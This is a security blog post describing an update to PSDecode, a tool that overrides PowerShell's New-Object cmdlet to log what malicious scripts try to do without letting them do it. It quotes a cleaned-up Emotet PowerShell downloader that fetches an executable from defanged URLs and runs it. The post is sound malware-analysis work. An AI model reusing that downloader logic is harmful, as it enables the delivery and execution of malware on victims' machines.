PSDecode Update: New-Object override + Actions output

After I published the first iteration of PSDecode, my next goal with the tool was to figure out how to override methods within system classes typically used by malware authors, such as System.Net.WebClient.DownloadFile(). This proved to be a bit more difficult than anticipated (read: likely impossible), so I had to explore alternative approaches.

New-Object Primer

The approach I settled on was to override PowerShell’s New-Object cmdlet, which is used to create an instance of the requested .Net class. Methods within this instance are then typically executed later on in the malicious code. For instance, lets take a look at the cleaned up Emotet PowerShell that I used in my original post:

$franc = new-object System.Net.WebClient $nsadasd = new-object random $bcd = 'hxxp://smart-soft.pl/wef346645,hxxp://chimachinenow.com/wef346645,hxxp://truhlarstvi-bezdeka.cz/wef346645,hxxp://ericajoy.com/wef346645'.Split(',') $karapas = $nsadasd.next(1, 343245) $huas = $env:public + '\' + $karapas + '.exe' foreach($abc in $bcd){ try{ $franc.DownloadFile($abc.ToString(), $huas) Invoke-Item($huas) break } catch{ write-host $_.Exception.Message } }

Line 1 shows the string “System.Net.WebClient” being passed to PowerShell’s New-Object cmdlet. This cmdlet, in its natural form, will attempt to create an instance of the specified .Net class and return the object into a variable, if specified. In this case, the WebClient object is placed into the variable $franc.

The DownloadFile method within the WebClient object ($franc) is then invoked on line 8. This will attempt to download a file from the URL specified as the first argument being passed to the method and save it to the location on disk specified within the second argument.

New-Object Override

But I don’t want the malware to actually download the file. I only want it to tell me when it attempted to download the file and what the decoded source and destination paths are. In order to redefine how certain system methods to act, I will need to intercept the object’s creation and replace it with my own customized object. First step is to override the New-Object cmdlet with my own:

function new-object { param( [Parameter( ` Mandatory=$True, ` Valuefrompipeline = $True)] [String]$Obj )

Now, whenever New-Object is called within the malicious PowerShell script, it will execute my version instead of the built-in version.

Next, we need to mimic how New-Object would normally act, by returning an object. But, instead of returning a WebClient object as originally requested, I am going to return a custom object that contains methods commonly invoked by malicious PowerShell scripts:

if($Obj -eq 'System.Net.WebClient'){ $webclient_obj = [PsCustomObject] Add-Member -memberType ScriptMethod -InputObject $webclient_obj -Name "DownloadFile" -Value { param([string]$url,[string]$destination) Write-Host "%#[System.Net.WebClient.DownloadFile] Download from: $($url)" Write-Host "%#[System.Net.WebClient.DownloadFile] Save downloaded file to: $($destination)" } Add-Member -memberType ScriptMethod -InputObject $webclient_obj -Name "DownloadString" -Value { param([string]$url) Write-Host "%#[System.Net.WebClient.DownloadString] Download from: $($url)" } return $webclient_obj }

Line 1 checks to see if the malware is attempting to create an instance of the System.Net.WebClient class. If so, I create a generic custom object via PsCustomObject (Line 2). Since DownloadFile and DownloadString are two methods within the System.Net.WebClient that are commonly used by malware authors, I add methods of the same name to this generic custom object via PowerShell’s Add-Member cmdlet (Lines 3 & 8). Looking at the Value parameter, you can see that the only action these functions perform is to print out the argument(s) that was passed to it.

This custom object that I have created is then returned back to the malicious script (Line 12) with the malicious script being non-the-wiser that it did not receive an instance of the real System.Net.WebClient class.

Now, when the malicious script calls the DownloadFile function, it will execute my code instead of the actual download to file.

Updated Script Output

Overriding the New-Object cmdlet enables me to capture the actions that the script would have taken without actually allowing it to execute as it normally would. As the malicious script is run through PSDecode, these actions are stored and, when complete, the actions are printed to the screen in the order in which they occurred.

Figure 1: Updated PSDecode output w/ Actions

Figure 1 depicts this new output with the Actions highlighted at the bottom of the screen.

Issues

Because of the loose scope of this overriding (i.e. everything utilizing New-Object vs only specific .Net class functions) you will run into issues whenever a script attempts to create an object and/or function that PSDecode has not accounted for. As of this writing, this would be anything other than the following:

[CMDLETS]

  • New-Object
  • Invoke-Expression
  • Invoke-Item
  • Invoke-Command

[.NET Class Functions]

  • System.Net.WebClient.DownloadFile()
  • System.Net.WebClient.DownloadString()
  • System.Random.Next()

Even the functions I have accounted for are not perfect. For instance, my implementation of New-Object expects a single argument of type String but, if you look at the New-Object documentation, you can see that it actually accepts multiple arguments:

New-Object [-TypeName] <String> [[-ArgumentList] <Object[]>] [-Property <IDictionary>] [<CommonParameters>]

This discrepancy could cause issues with PSDecode depending on how the malware author has chosen to implement calls to certain cmdlets/functions.

My immediate focus is on building out controls that cover the most common use-cases. Thus far, my focus has been on Emotet’s PowerShell but i’d like to start branching out. If you have an encoded PowerShell script that PSDecode chokes on, let me know so I can improve the script!

Advertisements Share this:
Like this:Like Loading...